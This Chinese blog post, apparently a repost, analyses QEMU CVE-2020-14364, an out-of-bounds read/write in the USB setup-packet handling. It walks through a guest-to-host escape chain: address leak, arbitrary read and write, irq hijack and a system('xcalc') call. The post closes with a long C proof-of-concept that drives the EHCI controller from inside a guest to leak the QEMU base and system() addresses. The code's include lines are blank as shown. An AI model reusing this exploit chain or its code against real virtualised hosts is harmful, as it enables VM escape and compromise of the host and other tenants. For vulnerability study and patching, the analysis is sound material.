千家信息网

如何进行QEMU CVE-2020-14364的漏洞分析

发表于:2024-11-28 作者:千家信息网编辑
千家信息网最后更新 2024年11月28日,这篇文章给大家介绍如何进行QEMU CVE-2020-14364的漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。QEMU 简介QEMU(quick emulator)是一
千家信息网最后更新 2024年11月28日如何进行QEMU CVE-2020-14364的漏洞分析

这篇文章给大家介绍如何进行QEMU CVE-2020-14364的漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

QEMU 简介

QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化开源托管虚拟机(VMM)。

QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。

漏洞成因

USB总线通过创建一个USBpacket对象来和USB设备通信.

Usbpacket对象中包含以下关键内容

struct USBPacket {    /* Data fields for use by the driver.  */    int pid;    uint64_t id;    USBEndpoint *ep;    ....};

其中 "pid" 表明 packet 的类型,存在三种类型 in、out、setup, ep指向endpoint对象,通过此结构定位目标usb设备.

数据交换为 usbdevice 中缓冲区的 data_buf 与 usbpacket 对象中使用 usb_packet_map 申请的缓冲区两者间通过 usb_packet_copy 函数实现,为了防止两者缓冲区长度不匹配,传送的长度由 s->setup_len 限制

case SETUP_STATE_DATA:

if (s->setup_buf[0] & USB_DIR_IN) {            int len = s->setup_len - s->setup_index;            if (len > p->iov.size) {                len = p->iov.size;            }            usb_packet_copy(p, s->data_buf + s->setup_index, len);            s->setup_index += len;            if (s->setup_index >= s->setup_len) {                s->setup_state = SETUP_STATE_ACK;            }            return;        }

漏洞存在于s->setup_len赋值的过程do_token_setup中.

s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];    if (s->setup_len > sizeof(s->data_buf)) {        fprintf(stderr,                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",                s->setup_len, sizeof(s->data_buf));        p->status = USB_RET_STALL;        return;    }

虽然进行了校验,但是由于在校验前,s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞.

漏洞利用:

1、泄露 USBdevice 对象的地址。

观察越界可读内容发现

struct USBDevice {    ...    uint8_t setup_buf[8];    uint8_t data_buf[4096];    int32_t remote_wakeup;    int32_t setup_state;    int32_t setup_len;    int32_t setup_index;     USBEndpoint ep_ctl;    USBEndpoint ep_in[USB_MAX_ENDPOINTS];    USBEndpoint ep_out[USB_MAX_ENDPOINTS];     QLIST_HEAD(, USBDescString) strings;    const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */    const USBDescDevice *device; ...};

可以从下方的ep_ctl->dev获取到usbdevice的对象地址.

2、 通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。

3、我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。 由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。

绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取

4、通过任意地址读取 usbdevice 对象的内容以获取 ehcistate 对象地址,再次使用任意地址读取 ehcistate 对象的内容以获取 ehci_bus_ops_companion 地址。 该地址位于程序data节区。 这时,我们可以获得程序的加载地址和 system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。

5、在data_buf中伪造irq结构。

6、以伪造结构劫持ehcistate中的irq对象。

7、通过mmio读取寄存器以触发ehci_update_irq,执行system(" xcalc")。 完成利用。

漏洞poc代码

#include #include #include #include #include #include #include #include #include #include #include   #include   #include   #include   #include   #include   #include #include   unsigned char* mmio_mem;char *dmabuf;struct ohci_hcca * hcca;struct EHCIqtd * qtd;struct ohci_ed * ed;struct ohci_td * td;char *setup_buf;uint32_t *dmabuf32;char *td_addr;struct EHCIqh * qh;struct ohci_td * td_1;char *dmabuf_phys_addr;typedef struct USBDevice USBDevice;typedef struct USBEndpoint USBEndpoint;struct USBEndpoint {    uint8_t nr;    uint8_t pid;    uint8_t type;    uint8_t ifnum;    int max_packet_size;    int max_streams;    bool pipeline;    bool halted;    USBDevice *dev;    USBEndpoint *fd;    USBEndpoint *bk;};struct USBDevice {    int32_t remote_wakeup;    int32_t setup_state;    int32_t setup_len;    int32_t setup_index;    USBEndpoint ep_ctl;    USBEndpoint ep_in[15];    USBEndpoint ep_out[15];};typedef struct EHCIqh {    uint32_t next;                    /* Standard next link pointer */    /* endpoint characteristics */    uint32_t epchar;    /* endpoint capabilities */    uint32_t epcap;    uint32_t current_qtd;             /* Standard next link pointer */    uint32_t next_qtd;                /* Standard next link pointer */    uint32_t altnext_qtd;    uint32_t token;                   /* Same as QTD token */    uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqh;typedef struct EHCIqtd {    uint32_t next;                    /* Standard next link pointer */    uint32_t altnext;                 /* Standard next link pointer */    uint32_t token;    uint32_t bufptr[5];               /* Standard buffer pointer */} EHCIqtd;uint64_t virt2phys(void* p){    uint64_t virt = (uint64_t)p;            // Assert page alignment    int fd = open("/proc/self/pagemap", O_RDONLY);    if (fd == -1)        die("open");    uint64_t offset = (virt / 0x1000) * 8;    lseek(fd, offset, SEEK_SET);         uint64_t phys;    if (read(fd, &phys, 8 ) != 8)        die("read");    // Assert page present         phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);    return phys;} void die(const char* msg){    perror(msg);    exit(-1);}void mmio_write(uint32_t addr, uint32_t value){    *((uint32_t*)(mmio_mem + addr)) = value;}uint64_t mmio_read(uint32_t addr){    return *((uint64_t*)(mmio_mem + addr));}void init(){int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR | O_SYNC);    if (mmio_fd == -1)        die("mmio_fd open failed");mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);    if (mmio_mem == MAP_FAILED)        die("mmap mmio_mem failed");dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);    if (dmabuf == MAP_FAILED)        die("mmap");    mlock(dmabuf, 0x3000);hcca=dmabuf;dmabuf32=dmabuf+4;qtd=dmabuf+0x200;qh=dmabuf+0x100;setup_buf=dmabuf+0x300;}void init_state(){mmio_write(0x64,0x100);mmio_write(0x64,0x4);qh->epchar=0x00;qh->token=1<<7;qh->current_qtd=virt2phys(dmabuf+0x200);struct EHCIqtd * qtd;qtd=dmabuf+0x200;qtd->token=1<<7 | 2<<8 | 8<<16;qtd->bufptr[0]=virt2phys(dmabuf+0x300);setup_buf[6]=0xff;setup_buf[7]=0x0;dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;mmio_write(0x28,0x0);mmio_write(0x30,0x0);mmio_write(0x38,virt2phys(dmabuf));mmio_write(0x34,virt2phys(dmabuf));mmio_write(0x20,0x11);}void set_length(uint16_t len,uint8_t in){mmio_write(0x64,0x100);mmio_write(0x64,0x4);setup_buf[0]=in;setup_buf[6]=len&0xff;setup_buf[7]=(len>>8)&0xff;qh->epchar=0x00;qh->token=1<<7;qh->current_qtd=virt2phys(dmabuf+0x200);qtd->token=1<<7 | 2<<8 | 8<<16;qtd->bufptr[0]=virt2phys(dmabuf+0x300);dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;mmio_write(0x28,0x0);mmio_write(0x30,0x0);mmio_write(0x38,virt2phys(dmabuf));mmio_write(0x34,virt2phys(dmabuf));mmio_write(0x20,0x11);}void do_copy_read(){mmio_write(0x64,0x100);mmio_write(0x64,0x4);qh->epchar=0x00;qh->token=1<<7;qh->current_qtd=virt2phys(dmabuf+0x200);qtd->token=1<<7 | 1<<8 | 0x1f00<<16;qtd->bufptr[0]=virt2phys(dmabuf+0x1000);qtd->bufptr[1]=virt2phys(dmabuf+0x2000);dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;mmio_write(0x28,0x0);mmio_write(0x30,0x0);mmio_write(0x38,virt2phys(dmabuf));mmio_write(0x34,virt2phys(dmabuf));mmio_write(0x20,0x11);}int main(){init();iopl(3);outw(0,0xc0c0);outw(0,0xc0e0);outw(0,0xc010);outw(0,0xc0a0);sleep(3);init_state();sleep(2);set_length(0x2000,0x80);sleep(2);do_copy_read();sleep(2);struct USBDevice* usb_device_tmp=dmabuf+0x2004;struct USBDevice usb_device;memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));uint64_t dev_addr=usb_device.ep_ctl.dev;uint64_t *tmp=dmabuf+0x24f4;long long base=*tmp;if(base == 0){printf("INIT DOWN,DO IT AGAIN");return 0;}base-=0xee5480-0x2668c0;uint64_t system=base+0x2d9610;puts("\\\\\\\\\\\\\\\\\\\\\\\\");printf("LEAK BASE ADDRESS:%llx!\n",base);printf("LEAK SYSTEM ADDRESS:%llx!\n",system);puts("\\\\\\\\\\\\\\\\\\\\\\\\");}

关于如何进行QEMU CVE-2020-14364的漏洞分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

0